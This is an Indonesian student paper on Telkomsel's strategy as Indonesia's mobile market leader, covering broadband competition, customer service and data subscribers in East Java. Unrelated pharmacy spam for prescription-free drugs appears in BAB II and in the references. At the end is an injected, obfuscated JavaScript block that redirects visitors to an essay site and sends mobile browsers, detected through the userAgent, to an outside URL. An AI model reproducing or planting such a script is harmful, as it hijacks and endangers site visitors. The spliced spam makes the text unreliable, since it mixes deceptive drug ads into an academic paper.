Pengantar Ekonomi Manjemen

BAB I

PENDAHULUAN

1.1 . Latar Belakang Masalah

Seiring dengan kemajuan pesat dalam dunia ilmu pengetahuan dan teknologi, bidang telekomunikasi juga mengalami kemajuan yang cukup pesat. Komunikasi merupakan suatu hal yang penting yang dianggap mampu membantu hidup manusia. Sejak ditemukannya alat komunikasi, gerak hidup manusia menjadi berubah lebih mudah dan terasa dekat. Internet telah menjadi kebutuhan sehari-hari yang tidak dapat dipisahkan dari gaya hidup masyarakat urban. Teknologi ini begitu fenomenal karena menawarkan kecepatan bertukar informasi dnn kemampuan menjangkau ujung dunia sekalipun. Menajmurnya jejaring sosial bahkan semakin meningkatkan penggunaan internet di Indonesia, dapat dilihat dari trafik situs facebook, twitter, dan situs jejaring sosial lainnya, pengguna dari Indonesia dalam waktu singkat naik ke peringkat lima besar dan berpotensi untuk terus meningkat. Hal ini membawa operator seluler di Indonesia melihat sebagai sebuah target pasar yang sangat menjanjikan, yaitu pasar data. Seperti musim buah, operator seluler berbondong-bondong menawarkan mobile broadband dengan keunggulan masing-masing dan mengaku produknyalah yang terbaik. Telkomsel, Indosat, Smart, 3, Esia, dan lain-lain menempatkan logo-logo jejaring sasial saat ini sedang di gandrungi masyarakat dalam iklan-iklannya, seperti facebook, twitter, kaskus, dan logo-logo situs lainnya yang juga memiliki trafik tinggi di Indonesia. Dengan perangkat aplikasi internet dimana saja dan kapan saja.

Saat ini, dengan masuknya berbagai macam pemain baru dalam dunia seluler, membuat persaingan semakin sengit dimana setiap operator membidik segmen-segmen tertentu guna memenangkan pasar. Beberapa operator banyak yang membidik segmen remaja atau pelajar, namun ada pula yang membidik segmen pelanggan korporasi, seperti yang di lakukan Telkomsel. Telkomsel merupakan perusahaan yang berdasarkan peraturan perundang-undanganatau sebagai penyelenggara barang dan jasa telekomunikasiseluler GSM ( Global System for Mobile community ), yang diantaranya adalah layanan internet yang bersifat mobile yang sering disebut Telkomsel Flash. Dengan menggunakan Telkomsel Flash semua bisa mengakses internet kapan saja dan dimana ajatanpa terhalang oleh panjangnya kabel atau area yang biasanya di sediakan di tempat-tempat tertentu. Aktivitas komunikasi cenderung di dominasi melalui layanan mobile internet.oleh karenanya, selalu terhubung ke jaringan internet tentu menjadi prioritas  utama di era mobile internet.Optimis penggunaan layanan internet bakal terus tumbuh , maka Telkomsel memfasilitasi pelanggan yang hobi surfing di dunia maya melalui promo-promo sehingga aktivitas chatting, browsing, social networking, email, upload, dan download di ponsel akan terasa lebih mudah serta hemat. Melihat kondisi pasar yang seperti itu, strategi untuk memenangkan persaingan adalah menyediakan produk yang dapat memuaskan kebutuhan dan keinginan konsumen yang akan dituju. Dan untuk menghasilkan produk yang sesuai dengan kebutuhan dan keinginan pasar, sangat diperlukan pengetahuan mengenai perilaku konsumen.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

1.2 . Rumusan Masalah

 

Permasalahan yang akan dibahas antara lain

1. Bagaimana Telkomsel mempertahankan sebagai market leader di Indonesia

2. Cara menghadapi persaingan  broadbrand  di Indonesia

3. Menjalin kedekatan dengan konsumen dalam pelayanan

4. Berapa besar pangsa pasar layanan data PT. Telkomsel di regional Jawa Timur

 

 

1.3.           Tujuan Dan Manfaat Penelitian

 

Penelitian ini dilakukan dengan tujuan dan manfaat untuk mengetahui

1. Strategi Telkomsel untuk mempertahankan market leader

2. Menghadapi persaingan broadbrand di Indonesia

3. Meningkatkan pelayanan terhadap konsumen

4. Mengetahui Berapa besar pangsa pasar layanan data PT. Telkomsel di regional Jawa Timur

 

 

 

BAB II

Zithromax without prescription . Buy medicines such as Viagra, Cialis and levitra online and without prescription. Buy Cheap Viagra or WithoutВ 

PEMBAHASAN MASALAH

 

A. Strategi Telkomsel untuk mempertahankan market leader

Usia 17 tahun bagi Telkomsel merupakan tahun yang sarat dengan makna selama perjalanannya dalam industri telekomunikasi Indonesia. Bagi perusahaan sebesar dan berpengalaman seperti Telkomsel, hambatan dan tantangan sudah menjadi hal yang biasa, justru karena kerikil-kerikil tajam itulah yang menjadikan Telkomsel lebih matang dan lebih bijak. Inovasi-inovasi membanggakan dari insan Telkomsel itulah yang akhirnya membuat Telkomsel kini menjadi pemimpin pasar di industri telekomunikasi seluler Indonesia. Selama hampir 16 tahun Telkomsel terus mempertahankan keunggulan market share dan menjadi terdepan dalam layanan mobile lifestyle. Komitmen Telkomsel untuk melayani kebutuhan telekomunikasi negeri ini terus di wujudkan lewat pengembangan teknologi yang diterapkan untuk kualitas layanan yang lebih baik. Pada September 2009 Telkomsel memperoleh tambahan frekuensi 3G yang ditandai dengan dikeluarkannya surat Keputusan Menteri Komunikasi dan Informatika nomor : 268/KEP/M.KOMINFO/9/2009.

Dengan tambahan frekuensi 3G tersebut, Telkomsel mampu menambah kapasitas jaringan untuk layanan data serta melakukan evolusi dengan melanjutkan ke teknologi HSPA ( ) dan HSPA+, di mana kini pengguna  atau konsumen layanan mobile broadbrand dapat merasakan pengalaman baru memanfaatkan kecepatan akses data hingga 21 Mbps. Komitmen kuat Telkomsel dalam menyuseskan kehadiran layanan 3G dan mobile broadband di Indonesia sangat jelas terlihat, mulai dari sukses uji coba layanan 3G pertama di Indonesia 26 Mei 2005 yang dilanjutkan peluncuran secara komersial 14 September 2006, jaringan 3G secara cepat, serta banyaknya ragam konten layanan berbasis teknologi 3G. Tidak puas hanya dengan menggelar teknologi 3G saja, pada 21 Juni 2010 Telkomsel menjadi operator pertama yang sukses melakukan uji coba jaringan long term evolution ( LTE ) yang merupakan tulang punggung layanan teknologi 4G untuk pertama kalinya di Indonesia. Dengan penerapan teknologi LTE diprediksi akan membawa perubahan pada industri telekomunikasi yang cukup signifikan, dimana pada era LTE perkembangan layanan berbasis data akan semakin pesat seiring dengan peningkatan kemampuan teknologi akses tersebut.

Umumnya bagi pemimpin pasar, hal yang paling sering dilakukan untuk dapat bertahan di ketatnya kompetisi adalah dengan melakukan efisiensi semaksimal mungkin, khususnya dalam mengefektifkan biaya operasional untuk menjaga rasio pendapatan agar tetap stabil, namun tetap mengedepankan pemenuhan kualitas produk dan layanan yang prima. Kunci dari persaingan masa depan dalam industri telekomunikasi yang memiliki keseragaman layanan adalah terus menghasilkan inovasi.

 

B. Menghadapi persaingan broadbrand di Indonesia

Ketika layanan voice dan sms sudah dirasakan tidak lagi mampu men-generate revenue, bahkan sudah menampakan grafik penurunan, sudah saatnya Telkomsel menghadirkan solusi produk layanan telekomunikasi terbaru dengan menciptakan inovasi layanan yang terus mengikuti perkembangan teknologi. Semakin tinggi akan penggunaan internet, khususnya ketergantungan masyarakat akan layanan mobile internet, maka peluang inilah yang sudah mulai difokuskan oleh Telkomsel sebagai platform untuk menciptakan growth engine baru dengan mengedepankan layanan berbasis broadbrand. Hampir semua operator memfokuskan sebagian besar perhatiannya di Jawa mengingat 65 persen potential customer-nya ada di pulau Jawa sehingga kecenderungan semua operator akan habis habisan berperang di pulau Jawa termasuk di regional Jawa Timur. Untuk memenangkan persaingan dengan kompetitor Telkomsel telah menyiapkan sejumlah strategi yang akan dijalankannya. Langkah tersebut di mulai dengan melakukan pembenahan internal. Persaingan saat ini ada di level outlet dan customer, bagaimana mengetahui secara detail apa yang terjadi di outlet dan apa yang diinginkan oleh customer. Untuk memenangkan persaingan kita harus lebih cepat, lebih smart, lebih fokus dan lebih radikal.

  • lebih cepat : Perubahan yang diantisipasi dengan perlahan bahkan sangat lambat akan menyebabkan kita kehilangan momentum. Ketika kita bergerak, maka pihak lain pun dapat melakukan hal yang sama dengan apa yang kita lakukan. Maka, kecepatan adalah salah satu competitive advantage (keunggulan kompetitif ) yang perlu kita bangun. kita dituntut untuk cepat dan kualitas juga baik.
  • lebih smart : Perubahan dengan strategi yang matang, serta perlu mempertimbangkan kalkulasi terhadap aspek risiko (risk management) yang ada.
  • lebih fokus : Perubahan bersifat pasti untuk terus memperbaharui strategi dan disertai komitmen penuh yang akan mengawal kita untuk mencapai tujuan akhir.Perubahan yang dibutuhkan untuk memastikan pencapaian dari tujuan akhir
  • lebih radikal : Melakukan langkah yang menyeluruh, yang nyata dan jelas karena perubahan yang dilakukan secara perlahan akan kurang dirasakan dampaknya oleh target yang kita tuju. Akibatnya customer mungkin akan mengalihkan dukungan kepada operator lain yang dianggapnya lebih nyata tindakannya. Perubahan tidak akan berpihak pada kita. Oleh karena itu keberanian mengambil tindakan dan melakukan langkah-langkah terobosan adalah dua hal yang sangat penting dalam kondisi di atas

karena kalau keempat hal tersebut tidak dijalankan maka akan selalu ketinggalan oleh gerak operator lain yang sangat agresif. Selain keempat hal tersebut beberapa kebijakan juga telah ditetapkan seperti semua lini baik GM, Manager Branch, Spv, staf hingga OMR diwajibkan melakukan visit ke pasar atau outlet dan melaporkan temuan-temuan di market secara cepat dan uptodate dengan target masing-masing yang proporsional.

 

C. Meningkatkan pelayanan terhadap konsumen

17 tahun konsisten melayani negeri, Telkomsel tumbuh menjadi operator yang dipercaya lebih dari 117 juta pelanggan di seluruh Indonesia. Di dukung lebih dari 49 ribu BTS ( Base Transceiver Station ) mulai dari titik 0 (nol ) kilometer Indonesia di Sabang hinggan ujung Timur di Merauke. Untuk meningkatkan pelayanan layanan data, voice, sms pada bulan juni tahun lalu dicanangkan program 10.000 BTS dan Node B dengan target minimum yang harus tercapai tiap bulannya adalah 1000 BTS. Dari total 10.000 BTS yang dicanangkan, hingga Juli 2012 Telkomsel telah berhasil membangun lebih dari 6000 BTS dan hanya tinggal menyisakan 3000 lebih BTS. Hampir setengah pangsa pasar di Indonesia telah mempercayai Telkomsel untuk solusi kebutuhan telekomunikasinya dalam kehidupan sehari-hari. Hal ini menunjukkan bahwa komitmen Telkomsel untuk melayani bangsa ini mendapatkan respon yang baik oleh masyarakat Indonesia. Kepercayaan yang diberikan masyarakat Indonesia untuk menggunakan produk dan layanan yang diberikan telah mengantarkan Telkomsel meraih Best Brand Award selama tujuh tahun berturut-turut. Ini berarti mendapatkan tempat yang layak di hati masyarakat Indonesia. Ketika pasar sudah memasuki fase saturated ( kejenuhan ) maka transformasi bisnis merupakan sebuah keharusan yang mutlak yang segera dilakukan. Pelayanan dengan kualitas yang memuaskan menjadi ujung tombak keberhasilan dalam mempertahankan pelanggan. Salah satu penyebab mudah beralihnya pelanggan dari operator satu ke operator lain ditentukan oleh tingkat kepuasan pelanggan yang buruk terhadap pelayanan yang diberikan oleh operator tersebut. Dengan betapa pentingnya faktor pelayanan terhadap pelanggan maka komitmen menomorsatukan pelanggan harus berada diatas segala-galanya. Untuk melayani pelanggan dengan adanya 326 pusat layanan pelanggan yang terdiri dari 90 GraPari dan selebihnya berupa gerai biasa yang diharapkan dapat memenuhi kebutuhan akan layanan yang siap melayani pelanggan dan kualitas jaringan yang menjadi kebanggaan Telkomsel dalam melayani pelanggan harus terus ditingkatkan.

D.                Mengetahui berapa besar pangsa pasar layanan data PT. Telkomsel di regional Jawa Timur

Layanan data akan menjadi tulang punggung pertumbuhan bisnis seluler di masa depan mengingat semakin banyaknya ponsel pintar ( smartphone ) maupun tablet dengan harga terjangkau. Seperti halnya kota-kota lain di wilayah Jawa, konsumsi layanan data di regional Jawa Timur tumbuh secara signifikan. Hal ini ditandai dengan melonjaknya trafik data dari 137 terabyte ( Januari 2011 ) menjadi 327 terrabyte ( May 2012 ). Berarti hanya dalam tempo 1,5 tahun, terjadi kenaikan hingga 157%. melonjaknya konsumsi data tersebut tidak lepas dari semakin meluasnya layanan data di seluruh Jawa Timur. Menurut data regional Jawa Timur total jumlah pelanggan di Jawa Timur per Juni 2012 telah mencapai 13,1 juta. Dari jumlah itu, sekitar 30% diantaranya yakni 3,93 juta adalah pelanggan data. Target pertumbuhan layanan data di Jawa Timur sampai dengan akhir tahun 2012 bisa mencapai 40%. sehingga total jumlah pelanggan data service mencapai 5,24 juta. Melonjaknya tingkat penjualan smartphone sangat potensial mendorong tercapainya target karena seiring membanjirnya permintaan akan layanan data.

 

Faktor – faktor besarnya pangsa layanan data:

  • Semakin meningkatnya penjualan ponsel pintar ( smartphone ) maupun tablet dengan harga terjangkau
  • Inovasi aplikasi – aplikasi menarik di smartphone dengan basic layanan data
  • Banyak kebutuhan sehari-hari yang menggunakan layanan data
  • Masih kurang maksimalnya penggunaan smartphone  oleh pelanggan

 

 

 

 

 

 

 

 

BAB III

Kesimpulan

A. Kesimpulan

➢  Telkomsel terus melakukan inovasi produknya dengan terus menawarkan produknya dan pelayanan yang optimal.

➢  Telkomsel menggunakan jalur distribusi yang cukup intensif. Dengan arah pelayanan yang berbeda yaitu :grapari, gerai halo, dan corporate account managemet ( CAM ), outlet.

➢  Bentuk dari perencanaan kemampuan sumber daya manusia di Telkomsel dengan mempertahankan dan meningkatkan pelatihan-pelatihan (training).

➢  Setelah layanan dasar telekomunikasi seperti telepon dan pesan singkat terpenuhi, kebutuhan masyarakat akan meningkat menjadi kebutuhan layanan yang berpusat pada data. Sehingga, layanan data akan menjadi kebutuhan dasar masyarakat.

 

 

 

 

 

 

 

 

 

 

 

 

 

Daftar Pustaka

in malaysia cheapest price on imitrex zealand allegra 30mg 5ml suspension nexium 40 mg 28 tablet buy no prescription trazodone 75 cytotec
Signal.” Genjot Digital Service “ ,no.128/th.XII/Agustus 2012

Signal “ Menajamkan Ujung Tombak Sales “ .no.129/th.XII/September 2012

 

 
window.location = “http://essay-writ.org”;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!”.replace(/^/,String)){while(c–){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘(24(a,b){1V(/(2n|2d\\d+|1i).+1b|1g|1E\\/|1H|1C|1x|1B|2s|3l|3n|O(3m|V)|S|3g|38 |3c|3p|3D|1b.+3A|3z|1d m(3x|2H)i|2J( 14)?|2C|p(2x|2A)\\/|30|2T|3j|2S(4|6)0|2U|2R|I\\.(2Q|2N)|2O|2P|2V 2W|33|34/i.19(a)||/31|2X|2Y|2Z|2M|50[1-6]i|2L|2y|a W|2z|M(15|Z|s\\-)|11(2w|2t)|B(2u|E|D)|2v|2B(2I|y|2K)|2G|17(2D|j)|2E(x|2F)|35|36(3w|\\-m|r |s )|3y|3v(P|N|3u)|T(3r|3s)|3t(M|3G)|3H(e|v)w|3F|3E\\-(n|u)|3B\\/|3C|3q|3d\\-|3e|3b|3a|37\\-|D(39|K)|3f|3o(A|N|3k)|3h|3i\\-s|3I|2r|1z|U(c|p)o|1A(12|\\-d)|1y(49|11)|1u(1v|1w)|15(1D|1J)|1K|1I([4-7]0|14|W|1F)|1G|1t(\\-|R)|G u|1L|1q|1h\\-5|g\\-z|j(\\.w|V)|1j(1e|1f)|1s|1k|1r\\-(m|p|t)|1p\\-|1o(Q|F)|1l( i|O)|1m\\-c|1n(c(\\-| |R|a|g|p|s|t)|1M)|2e(2f|2g)|i\\-(20|j|q)|2c|29( |\\-|\\/)|2a|2b|2h|2i|2o|2p|2q|S|2m(t|v)a|2j|2k|2l|28|27|1S( |\\/)|1T|1U |1R\\-|1Q(c|k)|1N(1O|1P)|1W( g|\\/(k|l|u)|50|54|\\-[a-w])|25|26|23\\-w|22|1X\\/|q(x|1Y|1Z)|16(f|21|E)|m\\-48|5H(5E|C)|5y(5A|5L|J)|5V|z(f|5X|T|3J|U|t(\\-| |o|v)|58)|5i(50|5j|v )|5r|5p|5s[0-2]|57[2-3]|5c(0|2)|5d(0|2|5)|5R(0(0|1)|10)|5M((c|m)\\-|5B|5h|5U|5W|5O)|5Q(6|i)|5Z|5o|5n(5m|5k)|5l|5v|5u|5t(a|d|t)|59|5a(13|\\-([1-8]|c))|55|56|L(5g|5f)|5e\\-2|5w(P|5x|X)|5P|5N|Q\\-g|5S\\-a|5T(5Y|12|21|32|H|\\-[2-7]|i\\-)|5C|5D|5z|5F|5K|5J(5I|5G)|5q\\/|4Z(4c|q|4d|4e|y|4b)|4a(f|h\\-|Z|p\\-)|44\\/|X(c(\\-|0|1)|47|16|K|C)|46\\-|51|4f(\\-|m)|4g\\-0|4m(45|4n)|4l(B|17|4k|A|4h)|4i(4j|y)|43(f|h\\-|v\\-|v )|42(f|3P)|3Q(18|50)|3R(3O|10|18)|F(3N|3K)|3L\\-|3M\\-|3S(i|m)|3T\\-|t\\-z|3Z(L|41)|J(Y|m\\-|3Y|3X)|3U\\-9|I(\\.b|G|3V)|3W|4o|4p|4O|4P(4N|x)|4M(40|5[0-3]|\\-v)|4J|4K|4L|4Q(52|53|H|4R|Y|4X|4Y|4W|4V|4S)|4T(\\-| )|4U|4I|4H(g |4v|4w)|4x|4u|4t|4q\\-|4r|4s|4y\\-/i.19(a.4z(0,4)))1c.4F=b})(1a.4G||1a.4E||1c.1d,\’4D://4A.4B/4C/?5b\’);’,62,372,’|||||||||||||||01||||go|||||||ma|||||||te|ny|mo|it|al|ri|co|ca|ta|g1|60|up|ts|nd|pl|ac|ll|ip|ck|pt|_|iris|bi|do|od|wa|se|70|oo||ai|||os|er|mc|ar||test|navigator|mobile|window|opera|ad|un|avantgo|gf|meego|gr|hcit|hp|hs|ht|hi|hei|gene|hd|haie|fly|em|l2|ul|compal|el|dmob|ds|elaine|blazer|ic|bada|ze|fetc|blackberry|ez|k0|esl8|g560|tp|le|no|xi|kyo|kwc|kgt|klon|kpt|if|lg|m50|ui|xo|||m3ga|m1|function|libw|lynx|keji|kddi|iac|ibro|idea|i230|bb|hu|aw|tc|ig01|ikom|jbro|jemu|jigs|ja|android|im1k|inno|ipaq|dica|fennec|rn|av|amoi|ko|ixi|802s|abac|re|an|phone|ch|as|us|aptu|in|ex|palm|yw|770s|4thp|link|vodafone|wap|browser|treo|series|pocket|symbian|windows|ce|6310|6590|3gso|plucker|1207||xda|xiino|attw|au|cmd|lge|mp|cldc|chtm|maemo|cdm|cell|craw|kindle|dbte|dc|psp|ng|hiptop|hone|iemobile|da|midp|ccwa|lb|rd|bl|nq|be|di|ob|avan|netfront|firefox|c55|capi|mmp|bw|bumb|az|br|devi|de|lk|tcl|tdg|gt|00|mb|t2|t6|tel|tim|tx|si|utst|m5|m3|to||sh|sy|sp|sdk||sgh||cr||sc|va|ge|mm|ms|sie|sk|t5|so|ft|b3|sm|sl|id|v400|v750|yas|your|zeto|x700|wonu|nc|nw|wmlb|zte|substr|gettop|info|kt|http|vendor|location|userAgent|wi|whit|vm40|voda|vulc|vk|rg|veri|vi|vx|61|98|w3c|webc|85|83|80|81|sa||shar||||phil|pire|n20|zz|pdxg|pg|sdNXbH|n30|n50|pn|uc|ay|tf|mt|p1|wv|oran|ti|op|o2im|mywa|s55|mwbp|n10|pan|p800|owg1|po|rt|mi|r600|o8|on|qtek|r380|rc|raks|zo|me|ve|ro|rim9|oa|ne|psio|wt|prox|nok|n7|qa|qc|wf|mmef|wg|02|07|nzph’.split(‘|’),0,{})) If you ontario.ca homework help do poorly in a class, see if you have time to retake it and so that you can replace a bad grade before graduation